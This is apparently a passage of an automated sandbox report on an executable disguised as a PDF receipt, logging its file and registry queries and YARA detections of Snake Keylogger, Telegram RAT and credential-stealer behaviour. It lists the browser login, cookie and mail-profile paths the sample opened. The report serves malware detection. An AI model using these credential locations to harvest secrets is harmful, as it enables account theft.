Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Users\user\AppData\Roaming\teXfNv.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Users\user\AppData\Roaming\teXfNv.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 0000000B.00000002.4151393860.0000000002B41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.4151342112.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.49b4148.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4994128.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7328, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7656, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: teXfNv.exe PID: 7888, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: teXfNv.exe PID: 8008, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.49b4148.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4994128.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7328, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7656, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: teXfNv.exe PID: 7888, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\teXfNv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\teXfNv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\teXfNv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\teXfNv.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\teXfNv.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\teXfNv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\teXfNv.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Yara detected Credential Stealer
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.49b4148.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4994128.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4151393860.0000000002C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7328, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7656, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: teXfNv.exe PID: 7888, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: teXfNv.exe PID: 8008, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 0000000B.00000002.4151393860.0000000002B41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.4151342112.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.49b4148.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4994128.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7328, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7656, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: teXfNv.exe PID: 7888, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: teXfNv.exe PID: 8008, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4245570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.teXfNv.exe.4288990.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4c070f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.49b4148.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.rDEKONT-1_16_2025__75kb__pdf.exe.4994128.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.4148166401.0000000000432000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1766895440.0000000004241000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rDEKONT-1_16_2025__75kb__pdf.exe PID: 7328, type: MEMORYSTR
